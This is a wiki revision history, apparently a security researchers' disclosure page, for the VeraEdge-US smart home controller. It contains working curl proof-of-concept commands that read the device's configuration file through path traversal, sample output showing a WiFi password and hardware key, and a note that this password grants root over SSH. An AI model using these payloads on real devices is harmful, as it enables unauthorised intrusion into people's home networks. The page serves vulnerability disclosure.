VeraEdge Smart Home - Revision history

CJ: /* Local File Disclosure */

2017-08-11T00:42:01Z

Local File Disclosure

← Older revision		Revision as of 00:42, 11 August 2017
Line 26:		Line 26:
	HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf		HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf
	</pre>		</pre>

			== Root SSH Access ==
			Utilizing the Local File Disclosure mentioned above, one can obtain the device specific WiFi information (SSID and Password) for the device. Conveniently the WiFi Password is the same as the password for the "root" user account.

			SSHing to the device, with a login of root, and the device specific password, one can obtain root privileges remotely on the device.

	=== Demo ===		=== Demo ===
	{{#ev:youtube\|Q02ZYHT5Efo}}		{{#ev:youtube\|Q02ZYHT5Efo}}

Zenofex at 12:34, 10 August 2017

2017-08-10T12:34:08Z

← Older revision		Revision as of 12:34, 10 August 2017
Line 26:		Line 26:
	HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf		HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf
	</pre>		</pre>

			=== Demo ===
			{{#ev:youtube\|Q02ZYHT5Efo}}

Zenofex: /* Local File Disclosure */

2017-08-10T12:14:55Z

Local File Disclosure

← Older revision		Revision as of 12:14, 10 August 2017
Line 18:		Line 18:
	Unfortunately get_file requires a directory to exist which store_file conveniently creates. A POC for retrieving the file containing the devices SSID and WiFi key (/etc/cmh/cmh.conf) can be seen below.		Unfortunately get_file requires a directory to exist which store_file conveniently creates. A POC for retrieving the file containing the devices SSID and WiFi key (/etc/cmh/cmh.conf) can be seen below.
	<pre>		<pre>
	curl -X POST -v 'http://~~192.168.1.130~~/cgi-bin/cmh/store_file.sh' --data store_file=123		curl -X POST -v 'http://<DEVICEIP>/cgi-bin/cmh/store_file.sh' --data store_file=123
	curl -X POST -v 'http://~~192.168.1.130~~/cgi-bin/cmh/get_file.sh' --data filename="../../../../../etc/cmh/cmh.conf"		curl -X POST -v 'http://<DEVICEIP>/cgi-bin/cmh/get_file.sh' --data filename="../../../../../etc/cmh/cmh.conf"

	ArchiveLogsOnServer=1		ArchiveLogsOnServer=1

Zenofex: Created page with "FORCETOC {{Disclaimer}} thumb Category:Home Automation =VeraEdge-US Smart Home Controller= The VeraEdge-US is a smart home controller..."

2017-08-10T11:38:40Z

Created page with "__FORCETOC__ {{Disclaimer}} 120px|left|thumb Category:Home Automation =VeraEdge-US Smart Home Controller= The VeraEdge-US is a smart home controller..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:VERAEDGE.JPG|120px|left|thumb]]
[[Category:Home Automation]]

=VeraEdge-US Smart Home Controller=
The VeraEdge-US is a smart home controller used for bridging smart home devices with a users WiFi network.

== Purchase ==
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
[https://www.amazon.com/Vera-Control-VeraEdge-US-Smart-Controller/dp/B00PFGJZM8/ref=as_li_ss_tl?ie=UTF8&qid=1502364546&sr=8-1&keywords=VeraEdge-US+Smart+Home+Controller&linkCode=ll1&tag=exploiteers-20&linkId=c579b21805465293a2ad7a0f2e5ee9f3 Purchase the VeraEdge-US Smart Home Controller at Amazon]

== Local File Disclosure==
VeraEdge-US Smart Home contains a Local File Disclosure via get_file.sh and store_file.sh, both which can be hit without authentication. Below you can find the code within get_file.sh.

[[File:VERAEDGE LFD ROOT.JPG]]

Unfortunately get_file requires a directory to exist which store_file conveniently creates. A POC for retrieving the file containing the devices SSID and WiFi key (/etc/cmh/cmh.conf) can be seen below.
<pre>
curl -X POST -v 'http://192.168.1.130/cgi-bin/cmh/store_file.sh' --data store_file=123
curl -X POST -v 'http://192.168.1.130/cgi-bin/cmh/get_file.sh' --data filename="../../../../../etc/cmh/cmh.conf"

ArchiveLogsOnServer=1
ESSID=mios_45026848
Password=wind72sand
HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf
</pre>

VeraEdge Smart Home - Revision history

CJ: /* Local File Disclosure */

Zenofex at 12:34, 10 August 2017

Zenofex: /* Local File Disclosure */

Zenofex: Created page with "__FORCETOC__ {{Disclaimer}} thumb Category:Home Automation =VeraEdge-US Smart Home Controller= The VeraEdge-US is a smart home controller..."

Zenofex: Created page with "FORCETOC {{Disclaimer}} thumb Category:Home Automation =VeraEdge-US Smart Home Controller= The VeraEdge-US is a smart home controller..."